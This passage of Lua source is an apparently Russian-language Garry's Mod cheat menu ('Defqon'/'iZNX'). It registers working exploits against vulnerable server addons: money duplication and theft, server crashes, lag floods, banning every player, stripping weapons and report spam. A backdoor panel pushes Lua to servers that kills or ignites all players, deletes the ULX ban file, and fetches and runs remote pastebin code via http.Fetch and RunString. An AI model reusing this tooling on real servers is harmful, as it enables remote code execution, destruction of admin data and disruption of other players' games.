net.WriteDouble(iZNX.GetStored( "montant_argent18" )) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "€ HHH €", { desc = "Exploit на деньги", severity = 3, scan = function() return iZNX.ValidNetString( "hhh_request" ) end, functions = { { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") local plyhhh = LocalPlayer() for k,v in pairs(player.GetAll()) do dahater = v end if dahater != plyhhh then local hitRequest = {} hitRequest.hitman = plyhhh hitRequest.requester = plyhhh hitRequest.target = dahater hitRequest.reward = -9999999 iZNX.NetStart( 'hhh_request' ) net.WriteTable( hitRequest ) net.SendToServer() else iZNX.ChatText( "В этой версии HHH невозможно использовать эксплойт !" ) end end, }, }, } ) iZNX.AddExploit( "€ DaHit €", { desc = "Exploit на деньги", severity = 3, scan = function() return iZNX.ValidNetString( "DaHit" ) end, functions = { { typ = "float", name = "Сумма", min = "1", max = "100000000", default = "100000", addr = "montant_argent20" }, { typ = "players", addr = "l_players_listdahit" }, { typ = "func", name = "Выдать", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listdahit", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end hook.Remove( "HUDPaint", "skhdsakjl") iZNX.NetStart( "DaHit" ) net.WriteFloat( -iZNX.GetStored( "montant_argent20" ) ) net.WriteEntity( v ) net.WriteEntity( v ) net.WriteEntity( v ) net.SendToServer() end end, }, { typ = "func", name = "Забрать", func = function() surface.PlaySound("garrysmod/ui_click.wav") local t = iZNX.GetStored( "l_players_listdahit", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end hook.Remove( "HUDPaint", "skhdsakjl") iZNX.NetStart( "DaHit" ) net.WriteFloat( iZNX.GetStored( "montant_argent20" ) ) net.WriteEntity( v ) net.WriteEntity( v ) net.WriteEntity( v ) net.SendToServer() end end, }, { typ = "func", name = "Spam выдача", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_spamdahitprendre" ) then iZNX.ChatText( "Spam запущен" ) timer.Create( "Defqon_exploit_spamdahitprendre", 1, 0, function() local t = iZNX.GetStored( "l_players_listdahit", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end hook.Remove( "HUDPaint", "skhdsakjl") iZNX.NetStart( "DaHit" ) net.WriteFloat( -iZNX.GetStored( "montant_argent20" ) ) net.WriteEntity( v ) net.WriteEntity( v ) net.WriteEntity( v ) net.SendToServer() end end) else timer.Remove( "Defqon_exploit_spamdahitprendre" ) iZNX.ChatText( "Spam прекращен" ) end end, }, { typ = "func", name = "Spam забиранием", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_spamdahitenlever" ) then iZNX.ChatText( "Spam запущен" ) timer.Create( "Defqon_exploit_spamdahitenlever", 1, 0, function() local t = iZNX.GetStored( "l_players_listdahit", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end hook.Remove( "HUDPaint", "skhdsakjl") iZNX.NetStart( "DaHit" ) net.WriteFloat( iZNX.GetStored( "montant_argent20" ) ) net.WriteEntity( v ) net.WriteEntity( v ) net.WriteEntity( v ) net.SendToServer() end end) else timer.Remove( "Defqon_exploit_spamdahitenlever" ) iZNX.ChatText( "Spam прекращен" ) end end, }, }, } ) iZNX.AddExploit( "Anti-Printer", { desc = "Наносите постоянный ущерб принтерам по близости", severity = 1, scan = function() return iZNX.ValidNetString( "customprinter_get" ) end, functions = { { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_printersmasher" ) then iZNX.ChatText( "Anti-Printer запущен" ) timer.Create( "Defqon_exploit_printersmasher", 0, 0, function() for k, v in pairs( ents.GetAll() ) do if ( v:GetClass():find("print") && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 750 ) then iZNX.NetStart("customprinter_get") net.WriteEntity(v) net.WriteString("onoff") net.SendToServer() end end end) else timer.Remove( "Defqon_exploit_printersmasher" ) iZNX.ChatText( "Anti-Printer остановлен" ) end end, }, }, } ) iZNX.AddExploit( "Crash the Server", { desc = "Краш сервера", severity = 3, scan = function() return iZNX.ValidNetString( "textstickers_entdata" ) end, functions = { { typ = "func", name = "Краш", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart( "textstickers_entdata" ) net.WriteUInt( 0xFFFFFFF, 32 ) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Free Ammunition", { desc = "Дает вам боеприпасы для всего вашего оружия", severity = 1, scan = function() return iZNX.ValidNetString( "TCBBuyAmmo" ) end, functions = { { typ = "func", name = "Получить", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(GAMEMODE.AmmoTypes) do iZNX.NetStart("TCBBuyAmmo") net.WriteTable( {nil,v.ammoType,nil,"0","999999"} ) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "€ Advanced Money Printer €", { desc = "Своровать все деньги из принтеров", severity = 3, scan = function() return iZNX.ValidNetString( "DataSend" ) end, functions = { { typ = "func", name = "Своровать", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k, v in pairs( ents.GetAll() ) do if v:GetClass() == "adv_moneyprinter" then iZNX.NetStart("DataSend") net.WriteFloat(2) net.WriteEntity(v) net.WriteEntity(LocalPlayer()) net.SendToServer() end end end, }, }, } ) iZNX.AddExploit( "gBan Ban everyone", { desc = "Exploit забанит всех, кроме вас. Был найден в более старой версии gBan", severity = 3, scan = function() return iZNX.ValidNetString( "gBan.BanBuffer" ) end, functions = { { typ = "func", name = "Запуск", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k,v in pairs(player.GetAll()) do if v != LocalPlayer() then iZNX.NetStart( "gBan.BanBuffer" ) net.WriteBool( true ) net.WriteInt( 0, 32 ) net.WriteString( "Poutous everywhere" ) net.WriteString( v:SteamID() ) net.SendToServer() end end end, }, }, } ) iZNX.AddExploit( "Lag Exploit #1", { desc = "Создает лаги на сервере", severity = 2, scan = function() return iZNX.ValidNetString( "ATS_WARP_REMOVE_CLIENT" ) end, functions = { { typ = "func", name = "Лаги", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_lagsploit1" ) then iZNX.ChatText( "Запускаем лаги" ) timer.Create( "Defqon_exploit_lagsploit1", 0.02, 0, function() for k,v in pairs(player.GetAll()) do iZNX.NetStart( "ATS_WARP_REMOVE_CLIENT" ) net.WriteEntity( v ) net.WriteString( "adminroom1" ) net.SendToServer() iZNX.NetStart( "ATS_WARP_FROM_CLIENT" ) net.WriteEntity( v ) net.WriteString( "adminroom1" ) net.SendToServer() iZNX.NetStart( "ATS_WARP_VIEWOWNER" ) net.WriteEntity( v ) net.WriteString( "adminroom1" ) net.SendToServer() end end) else timer.Remove( "Defqon_exploit_lagsploit1" ) iZNX.ChatText( "Прекращаем лаги" ) end end, }, }, } ) iZNX.AddExploit( "Console Spam", { desc = "Засоряет консоль сообщениями Seized ", severity = 1, scan = function() return ULib end, functions = { { typ = "func", name = "Спам", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_bigspames2" ) then iZNX.ChatText( "Запускаем спам" ) timer.Create( "Defqon_exploit_bigspames2", 0, 0, function() for i = 1, 200 do LocalPlayer():ConCommand( "_u Seized by DefqonSploit xD " ) end end) else timer.Remove( "Defqon_exploit_bigspames2" ) iZNX.ChatText( "Прекращаем спам" ) end end, }, }, } ) iZNX.AddExploit( "Lag Exploit #2", { desc = "Exploit для создания лагов на сервере", severity = 1, scan = function() return iZNX.ValidNetString( "Keypad" ) end, functions = { { typ = "func", name = "Лаги", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_lagsploit4" ) then iZNX.ChatText( "Запускаем лаги" ) timer.Create( "Defqon_exploit_lagsploit4", 0, 0, function() for i = 1, 1000 do iZNX.NetStart("Keypad") net.WriteEntity(LocalPlayer()) net.SendToServer() end end) else timer.Remove( "Defqon_exploit_lagsploit4" ) iZNX.ChatText( "Прекращаем лаги" ) end end, }, }, } ) iZNX.AddExploit( "Lag Exploit #3", { desc = "Сделать лаги на сервере, перемещая сервер на хост Африки", severity = 2, scan = function() return iZNX.ValidNetString( "CreateCase" ) end, functions = { { typ = "func", name = "Лаги", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_lagsploit5" ) then iZNX.ChatText( "Запускаем лаги" ) timer.Create( "Defqon_exploit_lagsploit5", 0.02, 0, function() for i = 1, 300 do iZNX.NetStart( "CreateCase" ) net.WriteString( "Bitch please" ) net.SendToServer() end end) else timer.Remove( "Defqon_exploit_lagsploit5" ) iZNX.ChatText( "Прекращаем лаги" ) end end, }, }, } ) iZNX.AddExploit( "Lag Exploit #4", { desc = "Exploit для создания лагов на сервере", severity = 2, scan = function() return iZNX.ValidNetString( "rprotect_terminal_settings" ) end, functions = { { typ = "func", name = "Тык", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_lagsploit6" ) then iZNX.ChatText( "Запускаем лаги" ) timer.Create( "Defqon_exploit_lagsploit6", 0.02, 0, function() for i = 1, 200 do iZNX.NetStart( "rprotect_terminal_settings" ) net.WriteEntity( LocalPlayer() ) net.SendToServer() end end) else timer.Remove( "Defqon_exploit_lagsploit6" ) iZNX.ChatText( "Прекращаем лаги" ) end end, }, }, } ) iZNX.AddExploit( "Lag Exploit #5", { desc = "Exploit для создания лагов на сервере", severity = 2, scan = function() return iZNX.ValidNetString( "StackGhost" ) end, functions = { { typ = "func", name = "Лаги", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_lagsploit7" ) then iZNX.ChatText( "Запускаем лаги" ) timer.Create( "Defqon_exploit_lagsploit7", 0.015, 0, function() for i = 1, 8 do for k,v in pairs( player.GetAll() ) do iZNX.NetStart( "StackGhost" ) net.WriteInt(69,32) net.SendToServer() end end end) else timer.Remove( "Defqon_exploit_lagsploit7" ) iZNX.ChatText( "Прекращаем лаги" ) end end, }, }, } ) iZNX.AddExploit( "Reanimation Exploit", { desc = "Вы автоматически воскресаете после смерти", severity = 2, scan = function() return iZNX.ValidNetString( "RevivePlayer" ) end, functions = { { typ = "func", name = "Бессмертие", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "Defqon_exploit_zombie" ) then iZNX.ChatText( "Ты бессмертен" ) timer.Create( "Defqon_exploit_zombie", 0.5, 0, function() if !LocalPlayer():Alive() then iZNX.NetStart("RevivePlayer") net.WriteEntity(LocalPlayer()) net.SendToServer() end end) else timer.Remove( "Defqon_exploit_zombie" ) iZNX.ChatText( "Ты снова смертен!" ) end end, }, }, } ) iZNX.AddExploit( "Armory Robbery", { desc = "Возьмите оружие из арсенала полиции (вы должны быть рядом с ним) кулдаун 5 минут", severity = 2, scan = function() return iZNX.ValidNetString( "ARMORY_RetrieveWeapon" ) end, functions = { { typ = "func", name = "Взять оружие #1", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("ARMORY_RetrieveWeapon") net.WriteString("weapon1") net.SendToServer() end, }, { typ = "func", name = "Взять оружие #2", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("ARMORY_RetrieveWeapon") net.WriteString("weapon2") net.SendToServer() end, }, { typ = "func", name = "Взять оружие #3", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("ARMORY_RetrieveWeapon") net.WriteString("weapon3") net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Admin Stick | Door exploit", { desc = "Открыть / Закрыть дверь / Удалить владельца (вы должны смотреть на дверь)", severity = 3, scan = function() return iZNX.ValidNetString( "fp_as_doorHandler" ) end, functions = { { typ = "func", name = "Открыть", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("fp_as_doorHandler") net.WriteEntity(LocalPlayer():GetEyeTrace().Entity) net.WriteString("unlock") net.SendToServer() end, }, { typ = "func", name = "Закрыть", func = function() surface.PlaySound("garrysmod/ui_click.wav") iZNX.NetStart("fp_as_doorHandler") net.WriteEntity(LocalPlayer():GetEyeTrace().Entity) net.WriteString("lock") net.SendToServer() end, }, { typ = "func", name = "Удалить владельца", func = function() surface.PlaySound("garrysmod/ui_click.wav") local door = LocalPlayer():GetEyeTrace().Entity local doorOwner = door:getDoorData()["owner"] iZNX.NetStart("fp_as_doorHandler") net.WriteEntity(door) net.WriteString("removeOwner") net.WriteDouble(doorOwner) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Defqon Report Spammer", { desc = "Report спаммер", severity = 1, scan = function() return iZNX.ValidNetString( "TransferReport" ) end, functions = { { typ = "func", name = "Зарепортить всех", func = function() surface.PlaySound("garrysmod/ui_click.wav") for k, v in pairs( player.GetAll() ) do iZNX.NetStart( "TransferReport" ) net.WriteString( v:SteamID() ) net.WriteString( "SERVER CODER BY Q" ) net.WriteString( "Bitch please" ) net.SendToServer() end end, }, }, } ) iZNX.AddExploit( "SAC Crash", { desc = "Мгновенный краш сервера, использующего SAC анти-чит", severity = 3, scan = function() return iZNX.ValidNetString( "SimplicityAC_aysent" ) end, functions = { { typ = "func", name = "Краш", func = function() surface.PlaySound("garrysmod/ui_click.wav") local tbl = {} for i=1,400 do tbl[i] = i end iZNX.NetStart("SimplicityAC_aysent") net.WriteUInt(1, 8) net.WriteUInt(4294967295, 32) net.WriteTable(tbl) net.SendToServer() end, }, }, } ) iZNX.AddExploit( "Server Crash", { desc = "Нажмите эту кнопку, чтобы мгновенно крашнуть сервер, на 99.9% не работает", severity = 3, scan = function() return iZNX.ValidNetString( "pac_to_contraption" ) end, functions = { { typ = "func", name = "Краш", func = function() surface.PlaySound("garrysmod/ui_click.wav") local tbl = {} for i=1,1000000000 do tbl[#tbl + 1] = i end iZNX.NetStart("pac_to_contraption") net.WriteTable( tbl ) net.SendToServer() end, }, }, } ) local function nukeweapon( ent ) if !ent:IsValid() then return end if ent.LNextNuke and ent.LNextNuke > CurTime() then return end iZNX.NetStart("properties") net.WriteString("remove") net.WriteEntity( ent ) net.SendToServer() ent.LNextNuke = CurTime() + 0.5 end local function nukeallweapons( tab ) for k, v in pairs( tab ) do if !v:IsValid() then continue end if v.LNextNuke and v.LNextNuke > CurTime() then continue end iZNX.NetStart("properties") net.WriteString("remove") net.WriteEntity( v ) net.SendToServer() end end iZNX.AddExploit( "Strip the weapons", { desc = "Strip оружия у любого игрока.", severity = 3, scan = function() return iZNX.ValidNetString( "properties" ) and (!FPP or (FPP and FPP.Settings.FPP_TOOLGUN1.worldprops == 1)) end, functions = { { typ = "string", name = "Тип оружия", default = "*", addr = "stripper_gunz" }, { typ = "players", addr = "stripper_plyz" }, { typ = "func", name = "Стрип", func = function() surface.PlaySound("garrysmod/ui_click.wav") if !timer.Exists( "stripclub" ) then iZNX.ChatText( "Strip запущен" ) timer.Create( "stripclub", 0.5, 0, function() local t = iZNX.GetStored( "stripper_plyz", {} ) for k, v in pairs( player.GetAll() ) do if !table.HasValue( t, v ) then continue end local gunz = v:GetWeapons() local findstring = iZNX.GetStored( "stripper_gunz", "*" ) if findstring == "*" then nukeallweapons( gunz ) return end local findstringtab = string.Explode( ", ", findstring ) for _, g in pairs( gunz ) do for _, s in pairs( findstringtab ) do if string.find( string.lower( g:GetClass() ), s ) then nukeweapon( g ) end end end end end) else timer.Remove( "stripclub" ) iZNX.ChatText( "Strip остановлен" ) end end, }, }, } ) ------------------------------------------------------------------------------------------------------------------------------------------------ function iZNX.MakeFunctionButtonr( parent, x, y, btext, func, tooltip) if !parent:IsValid() then return end local TButton = vgui.Create( "DButton" ) TButton:SetParent( parent ) TButton:SetPos( x, y ) TButton:SetText( btext ) TButton:SetTextColor( Color(255, 0, 0, 255) ) -- Цвет текста на кнопках TButton:SizeToContents() TButton:SetTall( 24 ) if tooltip then TButton:SetToolTip( tooltip ) end TButton.Paint = function( self, w, h ) surface.SetDrawColor( Color(60, 60, 60, 200) ) -- Цвет кнопок surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color( 60, 60, 60 ) ) -- Цвет верхней части кнопок surface.SetMaterial( downgrad ) surface.DrawTexturedRect( 0, 0, w, h/ 2 ) surface.SetDrawColor( Color(100, 100, 100, 255) ) -- Цвет обводки кнопок surface.DrawOutlinedRect( 0, 0, w, h ) end TButton.DoClick = function() func() end return TButton:GetWide(), TButton:GetTall() end function iZNX.MakeFunctionButtonb( parent, x, y, btext, func, tooltip) if !parent:IsValid() then return end local TButton = vgui.Create( "DButton" ) TButton:SetParent( parent ) TButton:SetPos( x, y ) TButton:SetText( btext ) TButton:SetTextColor( Color(9, 173, 181, 255) ) -- Цвет текста на кнопках TButton:SizeToContents() TButton:SetTall( 24 ) if tooltip then TButton:SetToolTip( tooltip ) end TButton.Paint = function( self, w, h ) surface.SetDrawColor( Color(60, 60, 60, 200) ) -- Цвет кнопок surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color( 60, 60, 60 ) ) -- Цвет верхней части кнопок surface.SetMaterial( downgrad ) surface.DrawTexturedRect( 0, 0, w, h/ 2 ) surface.SetDrawColor( Color(100, 100, 100, 255) ) -- Цвет обводки кнопок surface.DrawOutlinedRect( 0, 0, w, h ) end TButton.DoClick = function() func() end return TButton:GetWide(), TButton:GetTall() end function iZNX.MakeFunctionButton( parent, x, y, btext, func, tooltip) if !parent:IsValid() then return end local TButton = vgui.Create( "DButton" ) TButton:SetParent( parent ) TButton:SetPos( x, y ) TButton:SetText( btext ) TButton:SetTextColor( Color(255, 255, 255, 255) ) -- Цвет текста на кнопках TButton:SizeToContents() TButton:SetTall( 24 ) if tooltip then TButton:SetToolTip( tooltip ) end TButton.Paint = function( self, w, h ) surface.SetDrawColor( Color(60, 60, 60, 200) ) -- Цвет кнопок surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color( 60, 60, 60 ) ) -- Цвет верхней части кнопок surface.SetMaterial( downgrad ) surface.DrawTexturedRect( 0, 0, w, h/ 2 ) surface.SetDrawColor( Color(100, 100, 100, 255) ) -- Цвет обводки кнопок surface.DrawOutlinedRect( 0, 0, w, h ) end TButton.DoClick = function() func() end return TButton:GetWide(), TButton:GetTall() end ------------------------------------------------------------------------- function iZNX.SoundBoard( parent, x, y, btext ) if !parent:IsValid() then return end local TButton = vgui.Create( "DButton" ) TButton:SetParent( parent ) TButton:SetPos( x, y ) TButton:SetText( btext ) TButton:SetTextColor( Color(255, 255, 255, 255) ) TButton:SizeToContents() TButton:SetTall( 24 ) TButton.Paint = function( self, w, h ) surface.SetDrawColor( Color(100, 60, 60, 200) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color( 60, 60, 60 ) ) surface.SetMaterial( downgrad ) surface.DrawTexturedRect( 0, 0, w, h/ 2 ) surface.SetDrawColor( Color(100, 100, 100, 255) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.SetDrawColor( Color(110, 70, 70, 255) ) surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 ) end TButton.DoClick = function() iZNX.Sound() end return TButton:GetWide(), TButton:GetTall() end function iZNX.Sound() if iZNX.HTXCommandeSelector and iZNX.HTXCommandeSelector:IsVisible() then iZNX.HTXCommandeSelector:Remove() end iZNX.HTXCommandeSelector = vgui.Create("DFrame") iZNX.HTXCommandeSelector:SetSize(240,350) iZNX.HTXCommandeSelector:SetTitle("Воспроизведение Звуков") iZNX.HTXCommandeSelector:SetPos( gui.MouseX(), gui.MouseY() ) iZNX.HTXCommandeSelector:MakePopup() iZNX.HTXCommandeSelector.Paint = function( s, w, h ) if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end surface.SetDrawColor( Color(30, 30, 30, 245) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color(55, 55, 55, 245) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 ) end local DScrollPanel = vgui.Create( "DScrollPanel", iZNX.HTXCommandeSelector ) DScrollPanel:Dock( FILL ) local sound1 = vgui.Create("DButton", DScrollPanel) sound1:SetSize( 208, 20 ) sound1:SetPos( 2, 0 ) sound1:SetText("Порно звуки") sound1:SetTextColor(Color(255, 255, 255, 255)) sound1.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end sound1.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Порно звуки запущены" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "http.Fetch(\"https://pastebin.com/raw/82tqzJy6\",function(b,l,h,c)RunString(b)end,nil)" ) net.WriteBit(1) net.SendToServer() end local sound2 = vgui.Create("DButton", DScrollPanel) sound2:SetSize( 208, 20 ) sound2:SetPos( 2, 25 ) sound2:SetText("Чё пацаны, аниме? OVER9000 BASS") sound2:SetTextColor(Color(255, 255, 255, 255)) sound2.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end sound2.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Аниме? Ну ладно =D" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "http.Fetch(\"https://pastebin.com/raw/9p4kgtmx\",function(b,l,h,c)RunString(b)end,nil)" ) net.WriteBit(1) net.SendToServer() end local sound3 = vgui.Create("DButton", DScrollPanel) sound3:SetSize( 208, 20 ) sound3:SetPos( 2, 50 ) sound3:SetText("Ор из Зеленого Слоника (-уши)") sound3:SetTextColor(Color(255, 255, 255, 255)) sound3.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end sound3.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "АААААААААААААААААААААААААААААААААААА" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "http.Fetch(\"https://pastebin.com/raw/mp3ZDJ1E\",function(b,l,h,c)RunString(b)end,nil)" ) net.WriteBit(1) net.SendToServer() end local sound4 = vgui.Create("DButton", DScrollPanel) sound4:SetSize( 208, 20 ) sound4:SetPos( 2, 75 ) sound4:SetText("Smash Mouth OVER9000 BASS (-уши)") sound4:SetTextColor(Color(255, 255, 255, 255)) sound4.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end sound4.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "АААААААААААААААААААААААААААААААААААА" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "http.Fetch(\"https://pastebin.com/raw/7XhrLSg3\",function(b,l,h,c)RunString(b)end,nil)" ) net.WriteBit(1) net.SendToServer() end local sound5 = vgui.Create("DButton", DScrollPanel) sound5:SetSize( 208, 20 ) sound5:SetPos( 2, 100 ) sound5:SetText("Gucci Gang But Im Screaming") sound5:SetTextColor(Color(255, 255, 255, 255)) sound5.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end sound5.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "АААААААААААААААААААААААААААААААААААА" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "http.Fetch(\"https://pastebin.com/raw/J6BL3FUM\",function(b,l,h,c)RunString(b)end,nil)" ) net.WriteBit(1) net.SendToServer() end end ------------------------------------------------------------------------------------- function iZNX.HTXBackdoor( parent, x, y, btext ) if !parent:IsValid() then return end local TButton = vgui.Create( "DButton" ) TButton:SetParent( parent ) TButton:SetPos( x, y ) TButton:SetText( btext ) TButton:SetTextColor( Color(255, 255, 255, 255) ) TButton:SizeToContents() TButton:SetTall( 24 ) TButton.Paint = function( self, w, h ) surface.SetDrawColor( Color(100, 60, 60, 200) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color( 60, 60, 60 ) ) surface.SetMaterial( downgrad ) surface.DrawTexturedRect( 0, 0, w, h/ 2 ) surface.SetDrawColor( Color(100, 100, 100, 255) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.SetDrawColor( Color(110, 70, 70, 255) ) surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 ) end TButton.DoClick = function() iZNX.HTXCommandeListe() end return TButton:GetWide(), TButton:GetTall() end function iZNX.HTXCommandeListe() if iZNX.HTXCommandeSelector and iZNX.HTXCommandeSelector:IsVisible() then iZNX.HTXCommandeSelector:Remove() end iZNX.HTXCommandeSelector = vgui.Create("DFrame") iZNX.HTXCommandeSelector:SetSize(240,350) iZNX.HTXCommandeSelector:SetTitle("Дефкон макросы") iZNX.HTXCommandeSelector:SetPos( gui.MouseX(), gui.MouseY() ) iZNX.HTXCommandeSelector:MakePopup() iZNX.HTXCommandeSelector.Paint = function( s, w, h ) if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end surface.SetDrawColor( Color(30, 30, 30, 245) ) surface.DrawRect( 0, 0, w, h ) surface.SetDrawColor( Color(55, 55, 55, 245) ) surface.DrawOutlinedRect( 0, 0, w, h ) surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 ) end local DScrollPanel = vgui.Create( "DScrollPanel", iZNX.HTXCommandeSelector ) DScrollPanel:Dock( FILL ) local commandnethtx1 = vgui.Create("DButton", DScrollPanel) commandnethtx1:SetSize( 208, 20 ) commandnethtx1:SetPos( 2, 175 ) commandnethtx1:SetText("Убить всех") commandnethtx1:SetTextColor(Color(255, 255, 255, 255)) commandnethtx1.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx1.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Все мертвы" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx2 = vgui.Create("DButton", DScrollPanel) commandnethtx2:SetSize( 208, 20 ) commandnethtx2:SetPos( 2, 100 ) commandnethtx2:SetText("Безобидное disco [не ломает ничего]") commandnethtx2:SetTextColor(Color(255, 255, 255, 255)) commandnethtx2.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx2.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Disco успешно запущено" ) net.Start(thefrenchenculer) net.WriteString( "http.Fetch(\"https://pastebin.com/raw/i41Jk7ry\",function(b,l,h,c)RunString(b)end,nil)" ) net.WriteBit(1) net.SendToServer() end local commandnethtx3 = vgui.Create("DButton", DScrollPanel ) commandnethtx3:SetSize( 208, 20 ) commandnethtx3:SetPos( 2, 375 ) commandnethtx3:SetText("Удалить ulx баны") commandnethtx3:SetTextColor(Color(255, 255, 255, 255)) commandnethtx3.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx3.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Удалено" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx4 = vgui.Create("DButton", DScrollPanel ) commandnethtx4:SetSize( 208, 20 ) commandnethtx4:SetPos( 2, 725 ) commandnethtx4:SetText("Поджечь всех") commandnethtx4:SetTextColor(Color(255, 255, 255, 255)) commandnethtx4.Paint = function(panel, w, h) surface.SetDrawColor(100, 100, 100 ,255) surface.DrawOutlinedRect(0, 0, w, h) surface.SetDrawColor(50, 0, 0 ,155) surface.DrawRect(0, 0, w, h) end commandnethtx4.DoClick = function() surface.PlaySound("garrysmod/ui_click.wav") chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Поджигаем" ) iZNX.NetStart(thefrenchenculer) net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" ) net.WriteBit(1) net.SendToServer() end local commandnethtx5 = vgui.Create("DButton", DScrollPanel ) commandnethtx5:SetSize( 208, 20 ) commandnethtx5:SetPos( 2, 150 